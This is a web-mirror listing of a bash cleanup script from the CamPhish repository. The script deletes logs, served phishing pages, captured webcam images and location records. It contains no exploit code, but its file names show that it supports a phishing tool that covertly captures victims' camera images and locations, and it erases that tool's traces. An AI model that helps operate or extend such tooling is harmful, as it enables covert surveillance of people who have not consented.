Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
techchipnet
GitHub Repository: techchipnet/CamPhish
Path: blob/master/cleanup.sh
1972 views
1
#!/bin/bash
2
# Cleanup script for CamPhish
3
# Removes all unnecessary files and logs
4
5
echo "Starting cleanup of unnecessary files and logs..."
6
7
# Remove log files
8
echo "Removing log files..."
9
rm -f *.log
10
rm -f .cloudflared.log
11
12
# Remove temporary location files
13
echo "Removing temporary location files..."
14
rm -f location_*.txt
15
rm -f current_location.bak
16
17
# Remove captured images
18
echo "Removing captured images..."
19
rm -f cam*.png
20
21
# Remove temporary HTML files
22
echo "Removing temporary HTML files..."
23
rm -f index.php
24
rm -f index2.html
25
rm -f index3.html
26
27
# Clean saved locations directory but keep the directory itself
28
echo "Cleaning saved locations directory..."
29
if [ -d "saved_locations" ]; then
30
rm -f saved_locations/*
31
fi
32
33
# Remove any other temporary files
34
echo "Removing other temporary files..."
35
rm -f LocationLog.log
36
rm -f LocationError.log
37
rm -f Log.log
38
39
echo "Cleanup completed successfully!"
40